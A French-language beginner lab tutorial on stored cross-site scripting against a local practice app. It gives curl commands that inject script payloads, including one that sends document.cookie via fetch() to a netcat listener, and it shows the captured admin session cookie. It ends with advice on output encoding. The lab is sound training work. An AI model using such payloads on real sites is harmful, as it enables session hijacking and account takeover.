Cross-Site Scripting (XSS) stocké

CybersécuritéBeginner
Pratiquer maintenant

Introduction

Le Cross-Site Scripting stocké (XSS stocké) est une vulnérabilité web extrêmement dangereuse qui survient lorsqu'une application web collecte des données utilisateur, les stocke dans une base de données (comme dans une section de commentaires, un forum ou un profil utilisateur), puis les intègre ultérieurement dans une page web sans assainissement approprié.

Contrairement au XSS réfléchi, qui nécessite qu'une victime clique sur un lien spécifiquement conçu, le XSS stocké est persistant. Une fois la charge utile malveillante injectée dans la base de données, elle s'exécutera automatiquement dans le navigateur de n'importe quel utilisateur consultant la page infectée. Cela en fait un outil redoutable pour les attaquants souhaitant voler des cookies de session, rediriger des utilisateurs ou effectuer des actions non autorisées au nom de la victime.

C'est cette persistance qui rend le XSS stocké particulièrement périlleux. L'attaquant effectue l'injection une seule fois, mais l'application elle-même continue de diffuser la charge utile aux futurs visiteurs.

Dans ce laboratoire, vous interagirez avec une application web locale vulnérable. Vous apprendrez à identifier où les entrées utilisateur sont stockées, à injecter une charge utile JavaScript persistante et à simuler un scénario où le cookie de session d'un administrateur est dérobé lorsqu'il consulte votre commentaire injecté.

Identifier le stockage des entrées (Commentaires/Profils)

Dans cette étape, vous allez interagir avec une application web vulnérable exécutée localement sur votre machine. L'application dispose d'une section de commentaires simple où les utilisateurs peuvent publier des messages.

Pour exploiter une vulnérabilité XSS stocké, vous devez d'abord identifier où l'application accepte les entrées utilisateur et où ces entrées sont ensuite affichées. Nous utiliserons l'outil en ligne de commande curl pour interagir avec le serveur web.

Voici le cycle de vie du XSS stocké en une phrase : l'entrée pénètre dans l'application, est stockée, puis est rendue dans le navigateur d'un autre utilisateur.

Tout d'abord, examinons l'état actuel de l'application en envoyant une requête GET à la page principale. Exécutez la commande suivante dans votre terminal :

curl http://localhost:5000/

Vous devriez voir une liste de commentaires vide dans la sortie HTML :

<h1>Comments</h1><ul></ul>

Maintenant, soumettons un commentaire normal pour voir comment l'application gère et stocke nos entrées. Nous utiliserons curl avec l'option -X POST pour envoyer des données au point de terminaison /post. Exécutez la commande suivante :

curl -X POST -d "comment=Hello World" http://localhost:5000/post

Le serveur devrait répondre par Comment added!.

Pour vérifier que votre entrée a été stockée de manière permanente dans la base de données et qu'elle est maintenant reflétée sur la page web, récupérez à nouveau la page principale :

curl http://localhost:5000/

Vous verrez maintenant votre commentaire intégré directement dans la structure HTML :

<h1>Comments</h1><ul><li>Hello World</li></ul>

Étant donné que l'application prend notre entrée et l'insère directement dans le HTML sans aucun filtrage ni assainissement, il est fort probable qu'elle soit vulnérable au XSS stocké.

Injecter une charge utile persistante

Maintenant que nous avons confirmé que l'application stocke et reflète nos entrées, nous allons tenter d'injecter une charge utile JavaScript persistante.

À ce stade, la base de données devient un mécanisme de diffusion d'attaque. La charge utile n'est plus seulement du texte stocké ; c'est un futur contenu de script en attente d'être rendu.

Dans un scénario réel, si un attaquant injecte une balise <script> dans une section de commentaires vulnérable, le serveur enregistre cette balise dans sa base de données. Chaque fois qu'un utilisateur (y compris les administrateurs) consulte la page des commentaires, son navigateur télécharge le HTML, détecte la balise <script> et exécute le code de l'attaquant.

Injectons une charge utile classique de preuve de concept XSS qui déclenche une boîte d'alerte dans le navigateur. Exécutez la commande suivante pour publier le commentaire malveillant :

curl -X POST -d "comment=<script>alert('XSS')</script>" http://localhost:5000/post

Une fois que le serveur confirme que le commentaire a été ajouté, récupérez la page principale une fois de plus pour inspecter le code source HTML :

curl http://localhost:5000/

Observez attentivement la sortie :

<h1>Comments</h1><ul><li>Hello World</li><li><script>alert('XSS')</script></li></ul>

Remarquez que la charge utile <script>alert('XSS')</script> est rendue exactement telle que nous l'avons saisie. L'application n'a pas encodé les chevrons (< et >) en entités HTML sécurisées (comme &lt; et &gt;).

Si un utilisateur réel ouvrait cette page dans un navigateur web comme Chrome ou Firefox, le navigateur interpréterait le texte injecté non pas comme un commentaire, mais comme du JavaScript exécutable, et une boîte d'alerte affichant "XSS" apparaîtrait immédiatement sur son écran.

Voler des cookies de session (Simulation)

Bien que l'affichage d'une boîte d'alerte prouve l'existence de la vulnérabilité, les attaquants réels utilisent le XSS à des fins malveillantes, comme le vol de cookies de session. Si un attaquant vole le cookie de session d'un administrateur, il peut détourner le compte de l'administrateur et prendre le contrôle total de l'application web.

Pour voler un cookie, un attaquant injecte du JavaScript qui lit le document.cookie de la victime et l'envoie à un serveur contrôlé par l'attaquant.

Tout d'abord, nous devons configurer un "écouteur" pour capturer le cookie volé. Nous utiliserons l'utilitaire nc (netcat) pour écouter sur le port 8000 et enregistrer toutes les requêtes HTTP entrantes dans un fichier nommé stolen_cookie.txt. Le symbole & à la fin exécute cette commande en arrière-plan afin que vous puissiez continuer à utiliser votre terminal.

nc -l -p 8000 > stolen_cookie.txt &

Ensuite, nous injecterons notre charge utile malveillante dans l'application vulnérable. Cette charge utile utilise l'API JavaScript fetch() pour envoyer silencieusement une requête HTTP à notre écouteur netcat, en ajoutant le cookie de la victime à l'URL.

Exécutez la commande suivante pour injecter la charge utile de vol de cookie :

curl -X POST -d "comment=<script>fetch('http://localhost:8000/?cookie=' + document.cookie)</script>" http://localhost:5000/post

La charge utile est maintenant stockée de manière permanente dans la base de données. Elle attend qu'une victime consulte la page.

Simuler l'interaction de la victime

Dans une attaque réelle, l'attaquant attend simplement que les utilisateurs naviguent sur le site web infecté. Comme nous travaillons dans un environnement de terminal sans navigateur web graphique, nous avons fourni un script Python qui simule un administrateur visitant la page.

Ce script agira comme un navigateur web : il lira les commentaires de la base de données, détectera la balise <script> que vous avez injectée et l'"exécutera" en effectuant la requête HTTP vers votre écouteur netcat, en transmettant un cookie d'administrateur simulé.

Exécutez le script de simulation à l'aide de la commande suivante :

python3 simulate_victim.py

Vous devriez voir une sortie indiquant que l'administrateur simulé a visité la page et que le script injecté a été exécuté :

Admin victim is visiting the page...
[Browser Simulator] Executing injected script...

Lorsque le navigateur simulé a exécuté votre charge utile, il a envoyé une requête HTTP à l'écouteur netcat que vous avez démarré à l'étape précédente. Netcat a capturé cette requête et l'a enregistrée dans stolen_cookie.txt.

Inspectons le contenu du fichier pour voir si nous avons réussi à capturer le cookie de session de l'administrateur :

cat stolen_cookie.txt

Vous devriez voir la requête HTTP GET brute capturée par netcat, qui inclut le cookie volé dans le chemin de l'URL :

GET /?cookie=admin_session=super_secret_admin_token_999 HTTP/1.1
Host: localhost:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Félicitations ! Vous avez exploité avec succès une vulnérabilité XSS stocké pour détourner une session utilisateur simulée. Avec ce jeton admin_session, un attaquant pourrait modifier ses propres cookies de navigateur et usurper l'identité de l'administrateur sur l'application web.

Résumé

Dans ce laboratoire, vous avez exploré et exploité avec succès une vulnérabilité de type Cross-Site Scripting (XSS) stocké. Vous avez appris à identifier les champs de saisie qui stockent des données de manière persistante et les reflètent sans assainissement HTML approprié. Ensuite, vous avez injecté des charges utiles JavaScript de base pour confirmer la présence de la vulnérabilité. Puis, vous avez conçu une charge utile malveillante destinée à exfiltrer des données sensibles, telles que des cookies de session, vers un écouteur externe. Enfin, vous avez compris l'impact grave du XSS stocké en simulant un scénario où la session d'un administrateur est compromise simplement en consultant une page infectée.

Le XSS stocké est une faille de sécurité critique car il ne nécessite aucune ingénierie sociale une fois la charge utile implantée ; l'application elle-même délivre l'attaque à ses utilisateurs. Pour prévenir ces vulnérabilités, les développeurs doivent toujours mettre en œuvre une validation stricte des entrées et un encodage de sortie adapté au contexte (comme la conversion de < en &lt;) avant de rendre les données fournies par l'utilisateur dans un navigateur web.